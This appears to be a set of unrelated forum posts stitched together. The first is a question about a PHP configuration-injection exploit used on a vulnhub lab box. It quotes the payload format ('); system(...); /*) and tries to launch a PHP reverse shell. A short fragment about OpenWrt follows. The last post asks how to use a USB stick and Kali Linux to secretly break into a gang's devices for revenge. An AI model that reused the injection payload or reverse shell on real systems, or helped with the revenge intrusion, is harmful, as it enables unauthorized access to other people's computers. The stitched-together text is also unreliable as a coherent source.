I’m trying to use [this exploit](https://www.exploit-db.com/exploits/44374) on a box from vulnhub, but the part I can’t figure out is in the exploit where it says:

#the payload will be injected into the configuration file via this code

#’ define(\’DB_DATABASE\’, \” . trim($HTTP_POST_VARS[‘DB_DATABASE’]) . ‘\’);’ . “\n” .

#so the format for the exploit will be: ‘); PAYLOAD; /*

payload = ‘\’);’

payload += ‘system(“ls”);’ # this is where you enter you PHP payload

payload += ‘/*’

data[‘DB_DATABASE’] = payload

So how do I actually enter the PHP payload? I’m trying to use the PHP reverse shell from Pentest Monkey that comes with Kali. I tried copy pasting and

payload += ‘system(“php /path/to/php_reverse_shell.php”);’

Thanks guys.

I have done some research but i haven’t been able to find any conclusive data regarding this, i figured installing open wrt might be a start but I’m still stuck as of now some guidance would be appreciated. THANKS!

Long story short I want revenge on this gang for something they did to some family members they asked me to put some videos on a usb for them how can I use this to my advantage and gain access to their shit undetected with the USB I have Kali Linux but haven’t used it yet Need help please